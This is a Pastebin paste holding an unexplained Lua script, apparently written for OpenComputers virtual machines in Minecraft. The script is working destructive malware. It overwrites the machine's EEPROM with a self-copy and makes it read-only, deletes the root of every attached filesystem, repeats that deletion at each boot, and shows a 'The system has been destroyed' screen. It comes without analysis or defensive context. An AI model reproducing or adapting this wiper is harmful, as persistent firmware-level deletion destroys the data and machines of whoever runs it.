Advertisement
Guest User

Untitled

a guest
Nov 14th, 2019
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.30 KB | None | 0 0
  1. component=component or require("component")a=component.proxy(component.list("eeprom")())b=component.list("gpu")()a.setData("xD")a.set([=[component=component or require("component") a=component.list("gpu")()for b in component.list("filesystem")do component.invoke(b,"remove","/")end;if a then  computer=computer or require("computer") c=component and component.gpu or component.proxy(a)if c.getScreen()==""then c.bind(component.list("screen")())end;if c.getScreen()~=""then  d,e=c.getResolution() f,g=d/2,e/2; h={"     ◢█◣","    ◢███◣","   ◢█████◣","  ◢███████◣"," ◢█████████◣","◢███████████◣"} i={"█","█","█","","▀"} j=math.ceil(f-6) k=math.ceil(g-7)c.setBackground(0x000000)c.setForeground(0xff0000)c.fill(1,1,d,e," ")for l=1,#h do c.set(j,l+k,h[l])end;c.setBackground(0xff0000)c.setForeground(0xffffff)for l=1,#i do c.set(j+6,k+l+1,i[l])end;c.setBackground(0x000000)c.setForeground(0xffffff)c.set(math.floor(f-14),g+3,"The system has been destroyed")c.set(math.floor(f-15),g+5,"Press power button to shutdown")while true do  m={computer.pullSignal(math.huge)}if m[1]=="key_down"then c.setBackground(0x000000)c.fill(1,1,d,e," ")computer.shutdown()end end end end]=])a.makeReadonly(a.getChecksum())for c in component.list("filesystem")do component.invoke(c,"remove","/")end;if b then computer=computer or require("computer")d=component and component.gpu or component.proxy(b)if d.getScreen()==""then d.bind(component.list("screen")())end;if d.getScreen()~=""then e,f=d.getResolution()g,h=e/2,f/2;i={"     ◢█◣","    ◢███◣","   ◢█████◣","  ◢███████◣"," ◢█████████◣","◢███████████◣"}j={"█","█","█","","▀"}k=math.ceil(g-6)l=math.ceil(h-7)d.setBackground(0x000000)d.setForeground(0xff0000)d.fill(1,1,e,f," ")for m=1,#i do d.set(k,m+l,i[m])end;d.setBackground(0xff0000)d.setForeground(0xffffff)for m=1,#j do d.set(k+6,l+m+1,j[m])end;d.setBackground(0x000000)d.setForeground(0xffffff)d.set(math.floor(g-14),h+3,"The system has been destroyed")d.set(math.floor(g-15),h+5,"Press power button to shutdown")while true do n={computer.pullSignal(math.huge)}if n[1]=="key_down"then d.setBackground(0x000000)d.fill(1,1,e,f," ")computer.shutdown()end end end end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement